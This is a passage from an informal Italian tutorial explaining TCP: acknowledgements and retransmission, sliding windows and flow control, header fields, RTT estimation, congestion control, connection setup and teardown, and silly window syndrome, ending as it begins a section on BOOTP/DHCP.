stesse strutture che avevano all'inizio, una lista non viene inviata come una lista ma come un flusso di bytes, le applicazioni che utilizzano i dati ne devono tenere conto. 5- Full duplex Connection: Il flusso di dati avviene contemporaneamente in entrambe le direzioni, in questo modo la macchina ricevente puo' inviare messaggi di controllo alla macchina mittente. POSITIVE ACKNOWLEDGEMENT Come si puo' ottenere affidabilita' se ci si basa sull'ip che e' dichiaratemente inaffidabile? si utilizza la tecnica dell'positive acknowledgment with retrasmission (letteralmente intraducibile piu' o meno vuol dire riconoscimento di successo con ritrasmissione...). I problemi che possono avvenire nella trasmissione sono essenzialmente tre, pacchetto perso, pacchetto rovinato, pacchetto duplicato. Per risolvere i primi due casi la macchina mittente (A) ogni volta che manda un pacchetto aspetta che la macchina ricevente (B)risponda con un messaggio di akcnowledgement (ack) ovvero un messaggio in cui si dica "il pacchetto e' arrivato ed e' intero", in piu' ogni volta che A manda un datagram fa partire un contatore, se l'ack non arriva prima della fine del tempo a disposizione lo rimanda. Per il terzo tipo di errore si fa in modo che ogni pacchetto sia numerato e tale numero appaia anche nell'ack, in questo modo B puo' controllare che non ci siano doppioni. Se non e' chiaro come si possano duplicare pacchetti basta pensare che un pacchetto venga mandato ma l'ack per qualche ragione non raggiunga A, in tal caso il timer espira e il pacchetto viene ritrasmesso con il risultato che vengono mandati due pacchetti uguali. Ovviamente pensare di ricevere sempre una risposta prima di inviare il pacchetto successivo implica lunghi tempi di inattivita' di A, per ovviare a questo si utilizza la tecnica della Sliding Windows (finestre scorrevoli). Immaginiamo il flusso di bites diviso in datagrams, A invece di mandare un datagram per volta ne manda un numero n (poniamo 5) tutti insieme, solo dopo aver mandato tutti e 5 i pacchetti controlla se e' arrivato l'ack del primo, se e' arrivato scala di un pacchetto e manda il 6, poniamo il caso che l'ack del pacchetto 2 non sia arrivato nel frattempo, A rimanda il pacchetto 2 e aspetta. Quando questo arriva scala e manda il 7...Ogni volta che la finestra scorre vengono inviati l'elemento piu' a dx della finestra e tutti gli elementi che non hanno ricevuto un ack. es: 1- vengono mandati i primi 5 [1,2,3,4,5],6,7,8,9.... ^ ^ | | finestra 2- dopo l'invio del 5 e' gia arrivato l'ack relativo al primo e la finestra scala a destra. 1,[2,3,4,5,6],7,8,9.... 3- l'ack relativo al 2 non e' arrivato, la finestra non scala e viene riinviato il 2. 4- arriva l'ack del 2 la finestra scala a dx 1,2[3,4,5,6,7],8,9.... il vantaggio sta nel fatto che la finestra puo' scalare se l'ack mancante non coinvolge il pacchetto con il numero piu' basso: 5- l'ack relativo al 6 anche dopo l'invio del 7 non e' arrivato, mentre sono arrivati tutti quelli prima, si scala comunque a destra e SI RINVIA il pacchetto 6 1,2,3,4,5,[6,7,8,9,10].... in questo ultimo passaggio la finestra ha scalato dal 3 al 6 quindi dei 5 datagram mandati 3 sono nuovi. La macchina lavora continuamente senza lunghe pause perche' il tempo necessario per aspettare un ack viene utilizzato inviando i pacchetti seguenti. In realta' l'utilizzo delle sliding windows avviene a livello byte, ovvero la sequenza 1,2,3,4,5.... indica i byte che sono stati inviati o sono da inviare, ovviamente non viene mandato un ack per ogni byte ma ogni byte appartiene ad un pacchetto che e' gia stato "acknoweledged" o meno e viene riinviato in un altro segmento o meno. Le sliding windows permettono anche un altra caratteristica fondamentale per un protocollo "reliable", il flow control (controllo del flusso). La varieta' di macchine, reti, linee che esiste sulla rete impone che tra due macchine ci sia un accordo sulla velocita con cui scambiare dati, per se la macchina A manda dati troppo velocemente la macchina B puo' congestionarsi. Questo viene fatto variando le dimensioni delle sliding windows, piu' la finestra e' larga piu' velocemente vengono trasmessi i dati, negli ack c'e' un campo che specifica la larghezza preferita da B in ogni momento. Anche la macchina B mantiene uno schema di sliding windows simile a quello dell'esempio per seguire il flusso dei dati, siccome la connessione e' full-duplex ogni macchina tiene due schemi per connessione. CONNESIONI E PORTE Il tcp nella struttura a strati si pone allo stesso livello (transport) dell' udp, utilizza pero' un multiplexing leggermente diverso. Mentre l'udp suddivide i dati tra le porte, ovvero definisce come destinazione finale e come punto di partenza una porta, il tcp si basa sul concetto di connessione. *Invece di utilizzare l'astrazione delle porte utilizza l'astrazione delle connessioni*. Una connessione e' definita dai suoi due capi, ogni capo e' una coppia (host,porta). La differenza sembra insignificante ma basare due strutture su tali concetti li rende molto diversi, anzitutto chiariamo come queste siano astrazioni, ovvero meccanismi teorici su cui si basano i protocolli, "ideologie" potremmo dire che poi vanno rispettate nell'implementazione del protocollo. Per esempio, nell' udp l'elemento finale e' una porta, ammettiamo che due macchine B e C comunichino con la stessa porta della macchina A, quello che succederebbe sarebbe la confusione tra i dati proprio perche' l'unica discriminante sono le porte e quindi mandare dati sulla stessa porta vuol dire mandare dati alla stessa applicazione. Nel tcp non succederebbe perche' ogni pacchetto e' legato ad una connessione, viene identificato con essa e ogni connessione e' una coppia del tipo (host B,porta X)--->(host A, porta y) che e' diversa da una connessione del tipo (host C,porta Z)--->(host A, porta y). La comunicazione e' basata sulle connessioni e le connessioni sono basate su 2 capi, questa differenza nelle intenzioni di base (nell'"ideologia" che sta alla base della costruzione del protocollo) fa in modo che con il tcp si possa comunicare con due macchine sulla stessa porta di A. In particolare questa caratteristica e' implementata numerando i messaggi e quindi rendendo i messaggi di una connessione diversi da quelli dell'altra. TCP HEADER FORMAT 0______4______10______16___________24__________31 | Porta di partenza | Porta di arrivo | |______________________________________________| | sequence number | |______________________________________________| | acknoweledgment number | |______________________________________________| | Hlen |Riservato| Code | window | |______________________________________________| | checksum | urgent pointer | |______________________________________________| | opzioni | padding | |______________________________________________| Campi: Porta di partenza, Porta di arrivo: ovvie Seq number: Sono i codici che identificano la posizione di un certo ottetto nel flusso di dati. E' importante capire che i dati vengono mandati come un flusso di ottetti diviso in segmenti, ogni segmento viene identificato con un seq number che specifica la posizione del gruppo di byte mandati nel flusso. Il seq number quindi identifica i segmenti attraverso gli ottetti. Per esempio un segmento che ve dal byte 100 al byte 200 nel flusso ha seq number 100. Acknowledgment number: e' il seq del pacchetto che la macchina mittente si aspetta di ricevere come prossimo. Questo e' il campo attraverso il quale viene garantita la reliability del tcp. La macchina ricevente (A) ricostruisce attraverso i seq nummber il flusso di dati cosi' come questo esce dalla macchina mittente (B), quando ha ricevuto un segmento A controlla nel suo flusso ricostruito quale e' la posizione piu' alta che contraddistingue una sequenza di ottetti arrivati correttamente e manda come ack il seq del byte successivo ovvero il seq del segmento che A si aspetta di ricevere come prossimo. Quindi ogni volta che B riceve un ack sa che tutti i segmenti precedenti a tale ack sono arrivati correttamente. Lo svantaggio di tale tecnica sta nel fatto che se B manda uno dopo l'altro 5 segmenti di cui il primo arriva corrotto A mandera' come ack il seq del primo e quindi B non puo' stabilire se i 4 successivi sono arrivati a destinazione o no ( A segnala solo il fatto che il flusso e' stato interrotto e non se l'interruzione e' solo di un segmento o di piu' di uno). A questo punto B puo' decidere tra due comportamenti entrambi potenzialmente inefficienti, rinviare solo il primo segmento e aspettare l'ack relativo a questo o rinviare tutti e 5 i segmenti. Nel primo caso si evita di rinviare 4 segmenti che in effetti sono gia' a destinazione e sono arrivati correttamente, ma si rallenta la connessione (in effetti aspettando l'ack si annulla il vantaggio di avere le sliding window) nel secondo caso non si rallenta la connessione ma si inviano due volte gli stessi dati. Hlen : lunghezza dell'header del segmento in ottetti Reserved: riservato per usi futuri Code bits: sei bit che specificano il contenuto del segmento, nell'ordine, bit significato urg Il campo urgent pointer e' valido (vedi dopo) ack il campo ack. e' valido (vedi dopo) psh Questo segmento vuole un "push" (vedi Push) rst Resettare la connessione (vedi dopo) syn Sincronizza i seq number (vedi dopo) fin Il mittente ha finito i dati da inviare Window: specifica la grandezza delle sliding window (vedi anche Push e silly window sindrome) Urgent pointer: serve per madare "interruzioni" al computer ricevente, se il mittente mandasse un messaggio normale questo verrebbe letto solo dopo aver letto i precedenti messaggi gia' arrivati ma non ancora processati, se il campo urg e' 1 il contenuto del segmento viene considerato urgente e letto appena arriva fino al punto all'interno del datagram segnato dal campo urgent pointer, i dati successivi vengono considerati normali e letti secondo le sequenze normali. Opzioni: (facoltativo) specifica una dimensione massima per i segmenti in arrivo e in uscita, tale valore e' stimato sulla velocita' delle macchine, sul tipo di reti di cui fanno parte ecc.. Ovviamente un datagram molto grande offre problemi per via della frammentazione (un solo frammento perso e si perde tutto il datagram) mentre un datagram piccolo spreca banda (gli header ip e tcp da soli fanno circa 40 byte, se per mandare un byte ogni volta se ne aggiungono 40 di header si sprecano risorse). Checksum: avviene esattamente come il checksum dell'udp, viene aggiunto lo pseudo header 0___________8___________16____________________31 | IP mittente | |______________________________________________| | IP destinazione | |______________________________________________| |Zero |Protocollo (6) |lunghezza del datagram | |______________________________________________| e calcolato sia in partenza che in destinazione come il checksum dell'udp. Padding: serve a fare in modo che la lunghezza totale del datagram sia un multiplo di un byte. TIMEOUT E RETRASMISSION Ogni volta che un pacchetto viene mandato il mittente (B) fa partire un timer e se non riceve l'ack relativo a tale pacchetto prima della fine del timer considera il pacchetto perso e lo rinvia. La scelta della lunghezza del timer dipende dal tipo di rete, dalla velocita' della connessione ecc.. non esiste un tempo standard, di solito B quando inizia una connessione calcola una media sui primi segmenti inviati (RTT round trip time, ovvero una media del tempo che passa tra l'invio di un segmento e la ricezione del suo ack) e fissa il timer su quel valore, successivamente continua ad aggiornare tale media e cambia il timer di conseguenza. Il calcolo della media viene fatto attraverso un parametro k che indica quanto influiscono gli ultimi dati rispetto ai precedenti, vale: RTT=(k*media_vecchia)+((1-k)*media_recente) piu' piccolo e' k e piu' i nuovi dati hanno peso nel calcolo della media quindi RTT cambia velocemente. Il calcolo dell'RTT e' comunque piu' complesso di quanto sembra; per es. ammettiamo che la rete si congestioni di colpo, il segmento 1 viene inviato ma il timer espira prima che l'ack arrivi a B, allora B rimanda il segmento (1a) ma subito dopo arriva l'ack di 1, siccome i segmenti 1 e 1a sono identici B puo' considerare l'ack arrivato relativo ad 1a e calcolare il nuovo RTT su un tempo molto minore di quello reale. Uno dei modi piu' usati per calcolare l'RTT e' l'algoritmo di Karn. Consiste nel non calcolare l'RTT per segmenti ritrasmessi e ogni volta che un timer espira, moltiplicarlo per un fattore y fino ad un certo limite. La media poi viene rifatta sui pacchetti mandati e ritornati con successo quando quindi la situazione si e' stabilizzata. GESTIONE DELLE CONGESTIONI Alcune volte le reti locali o i router vengono sovraccaricate e non riescono piu' a gestire lo smistamento dei pacchetti, i router congestonati iniziano a immagazzinare i datagram in code dalle quali poi estraggono i pacchetti e li rinviano quando la congestione diminuisce. Esiste un tipo di icmp che i router usano per segnalare congestioni ma anche il protocollo tcp puo' aiutare a ridurle. Si tratta di calcolare la larghezza delle sliding windows in funzione della velocita' della connessione, giudicando dal numero di pacchetti che si e' costretti a rinviare. Una volta stimata la larghezza massima utilizzabile sulla rete (congestion window, cw) si utilizza come finestra la piu' piccola tra la cw e la larghezza indicata dalla macchina mittente nel campo window. Come viene calcolata la c.w.? Si utilizzano due tecniche chiamate slow-start (ss) e multiplicative decrease (md), ("inizio lento" e "diminuzione moltiplicativa (?)" ). Quando la connessione e' attiva ogni volta che un datagram viene perso il tcp assume che tale perdita sia dovuta a congestione e riduce la larghezza della finestra di meta' (fino ad un minimo di 1) in questo modo si diminuisce velocemente il carico sulla rete congestionata; in piu' viene aumentato il timer esponenzialmente. Una volta ristabilita la normale situazione la finestra viene allargata agiungendo un elemento per ogni ack che si riceve (slow-start). Questa tecnica che viene usata anche ad inizio connessione pero' ha dei limiti perche' se la connessione ritorna veloce molto rapidamente inizia ad oscillare e perde di efficienza (se la finestra ha dimensione 1 arriva un ack e si allarga a 2, arrivano 2 ack e si allarga a 4, arrivano 4 ack e si allarga a 8... andamento esponenziale uguale a quello della md, in effetti slow-start non e' poi cosi' slow). Per evitare questo quando la finestra crescendo ha raggiunto la meta' della sua grandezza prima della congestione la larghezza viene aumentata di una sola unita' per ogni finestra di segmenti di cui si e' ricevuto l'ack (congestion avoidance, ca). es 1-congestione, la dimensione diminuisce da 16 a 1 2-si riceve 1 ack -> dimensione=2 3-si ricevono 2 ack -> dimensione=4 4-si ricevono 4 ack -> dimensione=8 5-si ricevono 8 ack -> dimensione=9 (inizia il ca) 6-si ricevono 9 ack -> dimensione=10.... STABILIRE E TERMINARE UNA CONNESSIONE Avviene attraverso un three-way handshake ovvero una stretta di mano in tre direzioni. Lo schema e' questo eventi macchina A macchina B 1 segmento con syn |------>| byte su 1 e seq | | uguale a X | | 2 |<------| riceve il segmento e | | risponde con un segmento | | con syn=1 seq=Y | | ack=X+1 3 riceve syn+ack |------>| invia ack=Y+1 | | 4 | | riceve ack avvengono quindi tre scambi (three-way) al termine dei quali le due macchine hanno stabilito una connessione in entrambe le direzioni. Al momento 1 A manda un segmento con il syn=1 indicando una richiesta di inizio connessione e dando un seq generato a caso in modo che sia improbabile generare due connessioni con la stessa macchina che inizino con lo stesso seq. (in realta' la generazione dei seq deve essere piu' aleatoria possibile, le macchine unix hanno un algoritmo che rende quasi impossibile sapere quale quale sara' il seq generato per una connessione conoscendo il seq generato per la connessione precedente, i vecchi win invece generavano seq per connessioni diverse quasi casualmente il che li rendeva vulnerabili ad attacchi di spoofing (se vi interessa fate una ricerca con spoofing)). Al momento 2 B risponde con un datagram che contiene un syn=1 quindi vuole stabilire la connessione, un seq=Y per i dati che mandera' (generandolo casualmente) e un ack=X+1 indicando quale segmento si aspetta di reicevere come prossimo. Infine al momento 3 A riceve il segmento di B e manda un ack confermando che la connessione sia avvenuta. La connessione e' stabilita e le macchine possono iniziare a scambiarsi dati in etrambe le direzioni. Si possono gia utilizzare i segmento per lo handshake inviando dati attraverso di essi, dati che la macchina ricevente B terra' in memeoria fino a connessione avvenuta. Chiudere una connessione comporta una versione leggermente modificata dello handshake perche' le connessione e' full-duplex quindi va chiusa in entrambe le direzioni. Lo schema e': eventi macchina A macchina B 1 segmento con |------->| fin=1, seq=X | | 2 |<-------| riceve il segmento e | | risponde con un segmento | | con ack=X+1 3 riceve ack |------->| 4 |<-------| segmento con fin=1 | | seq=Y 5 riceve fin+ack, |------->| manda ack=Y+1 | | | | riceve ack In questo caso A ha finito i dati da inviare e manda a B un segmento indicando appunto fin=1, B risponde che ha ricevuto il segmento di A mandando un ack dopodiche'continua a inviare i dati ad A fino a quando ne ha bisogno (normalmente richiude subito), successivamente al momento 4 B ripete la stessa procedura che aveva fatto A per chiudere la connessione nella sua direzione. Tra il momento 3 e il momento 4 B non accetta piu' dati da A tranne che gli ack dei segmenti che B manda. Esiste un altro modo di interrompere una connessione e consiste nel mandare un segmento con rst=1. Se B riceve un tale segmento interrompe immediatamente la connessione quindi smette di inviare dati e libera la memoria che gestiva tale connessione. Quando una connessione viene interrotta in un modo o in un altro l'applicazione che gestisce il tcp su una macchina rimane in attesa per un periodo di tempo pari al doppio del tempo massimo di vita di un datagram sulla rete, in questo modo si e' sicuri che dall'altro capo della connessione non verranno in futuro altri dati che potrebbero generare confusione. PUSH E SILLY WINDOW SYNDROME(NB la questione e' molto incasinata e riassumerla non e' perniente facile, spero di essere stato il piu' chiaro possibile ;) Bisogna anzitutto capire bene come funziona il campo window nel tcp-header. La larghezza della finestra disponibile altro non e' che la dimensione in ottetti della parte disponibile del buffer nel quale vengono immagazzinati i dati in arrivo. Quando la connessione e' stabilita la macchina ricevente B specifica una window larga esattamente come il buffer, piu' avanti quando il buffer si riempie l'applicazione specifica in ogni momento quanto spazio ha ancora a disposizione nel buffer. Se tutto va bene la velocita' con cui B riceve i dati e li passa all'applicazione e' la stessa con cui A li invia e quindi la finestra ha sempre le stesse dimensioni. In ogni istante il buffer sara' parzialmente pieno e l'applicazione su B prendera' i dati sequenzialmente (il buffer altro non e' che una coda). La stessa cosa succede sulla macchina A, i dati forniti dall'applicazione vengono inseriti in un buffer e mandati via via in segmenti. L'applicazione in A puo' immettere i dati nel buffer con una velocita' dettata dalle sue esigenze, puo' immetterli in gruppi di 1 byte alla volta come in gruppi di 1 kbyte alla volta (immaginiamo un terminale remoto che si connette as un server centrale, ogni volta che sul terminale viene digitato qualcosa il server lo riceve -> i dati vengono inviati dall'applicazione in gruppi di 1 byte per volta, se invece si sta copiando un file i dati possono essere mandati anche in kbyte o mbyte per volta) e spetta al protocollo decidere quando questi dati sono in numero sufficiente per essere messi in un datagram e inviati senza spreco di banda (datagram semivuoti). Stabilire quanto grandi devono essere tali segmenti e quindi quanto bisogna aspettare prima che vengano inviati dati nel buffer non e' affatto semplice. Nell' esempio precedente del terminale collegato al server ogni volta che un tasto viene premuto si vuole una risposta e quindi ogni volta che un tasto viene premuto l'applicazione non passera' altri dati fino ad avere una risposta, in questi casi si utilizza un PUSH. Un push e' un comando che l'applicazione (nell' application layer) utilizza per comunicare con l'applicazione che gestisce il tcp nella stessa macchina (transport layer); significa che vuole che i dati appena passati siano inviati senza attendere di riempire il segmento oltre. In piu' il campo PUSH dell'header viene settato 1 e in questo modo l'applicazione che gestisce il tcp sulla macchina B (transport layer,ricevente) invia all'applicazione di destinazione (application layer, sempre su B) il segmento senza rispettare l'ordine temporale degli arrivi; ovvero anche se occupa l'ultimo posto sul buffer della macchina B (transport layer) tale segmento viene subitomandato all'applicazione finale (application layer). Quindi ogni volta che si digita qualcosa sul terminale di destinazione si fa un push. Non sempre pero' un push e' richiesto e in questi casi il problema dell'attesa si ripete. In particolare possono esserci tre casi in cui il problema diventa molto significativo perche' definisce l'efficenza del protocollo. Caso 1; l'applicazione su A (application layer) invia dati molto lentamente, 1 byte alla volta, invece l'applicazione che gestisce il tcp(transport layer) e' molto aggressiva e invia i dati senza aspettare quindi un ottetto per segmento. Caso 2; l'applicazione su A manda dati in pacchetti grandi 200byte e il buffer di A sia 420 byte, verranno mandati due pacchetti da 200 e uno da 20 quindi uno ogni tre segmenti sara' semivuoto. Caso 3; la macchina A e' piu' veloce di B quindi il buffer di B si riempie subito, appena l'applicazione su B legge un po' di dati a quindi svuota in parte il buffer, B manda unadimensione di finestra grande quanto la parte di buffer vuota (che potrebbe anche essere un solo ottetto) e quindi A inizia a mandare dati con una finestra di dimensione 1 ottetto. I tutti e tre i casi si ha l'invio di segmenti di dimensioni molto piccole, si chiama silly windows syndrome (all'incirca sindrome delle finestre stupide). Per risolvere tali situazioni bisogna regolare il tempo di attesa per il riempimento dei datagram e regolare il dimensionamento delle finestre. Nel caso 1 e 2 i problemi derivano dalla sorgente e li' vanno intercettati. Lo standard impone che quando si formano i segmenti da mandare e altri segmenti sono stati mandati ma non ancora riconfermati da un ack l'applicazione che gestisce il tcp debba aspettare a mandare un segmento fino a quando questo non e' di dimensioni massime o fino a duando non arriva il primo ack. Tutto questo e' valido anche se tale e' stato eseguito un push. Questo algoritmo (algoritmo di Nagle) assicura un alto utilizzo della banda nelle condizioni di traffico convenzionali. Il problema 3 dipende da B. Lo scopo che ci si pone e' quello di fare in modo che quando il buffer si riempie e quindi la finestra ha dimensione 0 B aspetti prima di aggiornare la larghezza almeno fino a quando questa non e' meta' del buffer o almeno la grandezza massima di un segmento. Esistono due modi per ottenere questo nella pratica, il primo prevede che ognivolta che si raggiunge 0 tutti i segmenti che arrivano successivamente vengano riconfermati con un ack ma che gli ack non abbiano campo window valido, in altre parole si aspetta di riallargare la finestra convalidando i segmenti che arrivano. L'altro modo che e' quello piu' usato prevede che dopo aver raggiunto lo zero si ritardi l'invio dell'ack successivo. Questo da' il tempo al buffer di svuotarsi e quando l'ack viene mandato si puo' settare una nuova larghezza. Ovviamente non e' semplice definire quanto si debba ritardare, come pro si ha che aspettando si possono mandare nello stesso ack conferme di piu' di un segmento ma ovviamente come contro di ha il rallentamento della connessione. Si fissa quindi un limite di 500 millisecondi e si limita il numero di attese il piu' possibile. ******************PARTE III PROTOCOLLI DELL'APPLICATION LAYER***************** BOOTSTRAP E AUTOCONFIGURAZIONE (BOOTP,DHCP) Ovvero come ottenere un indirizzo ip e gli altri dati che servono ad una macchina per poter connettersi. Sappiamo che una macchina collegata ad una LAN qualsiasi possiede un idirizzo fisico e attraverso il protocollo RARP quando la macchina si collega in rete gli viene assegnato un indirizzo ip. RARP presenta tre svantaggi : 1- La comunicazione si basa su indirizzi fisici quindi presuppone una certa conoscenza dell'hardware delle macchine 2- Viene scambiato solo l'idirizzo IP con quello fisico, non possono essere inoltrate altre informazioni 3- Quando le macchine su una LAN non sono fisse gli indirizzi fisici cambiano e RARP non puo' essere utilizzato, in particolare per connessioni utente-isp (quella di casa per intenderci) le macchine che si connettono all'isp sono tante, diverse, cambiano di numero, non si puo' tenere una tabella dove si associa ip-mac. Il punto due riguarda soprattutto macchine senza disco fisso, ovvero macchine che per avviarsi devono ricevere la procedura di boot dall'esterno ma vale anche per tutte quelle macchine che vengono inserite in una rete per la prima volta e non conoscono il proprio ip, la propria subnet mask e l'indirizzo del router piu' vicino. I protocolli che si usano per ottenere questi dati sono il BOOTP e il DHCP dove il secondo e' l'evoluzione del primo, iniziamo descrivendo il BOOTP e poi vediamo le differenze. Per evitare di utilizzare gli indirizzi fisici delle macchine si utilizza il protocollo UDP; la cosa puo' sembrare strana infatti l'UDP si basa sull'IP ma se una macchina non conosce il proprio ip come puo' utilizzare l'UDP? si sfrutta una caratterstica implementata nei programmi che si occupano della gestione del protocollo, ovvero che una macchina anche se non possiede un indirizzo ip puo' comunque inviare e ricevere datagram mandati come broadcast all'indirizzo 255.255.255.255 . Cosi' se la macchina A vuole ricevere il proprio ip da una apposita macchina B di cui non conosce l'indirizzo fa un broadcast di un messaggio in formato BOOTP e aspetta una risposta da B.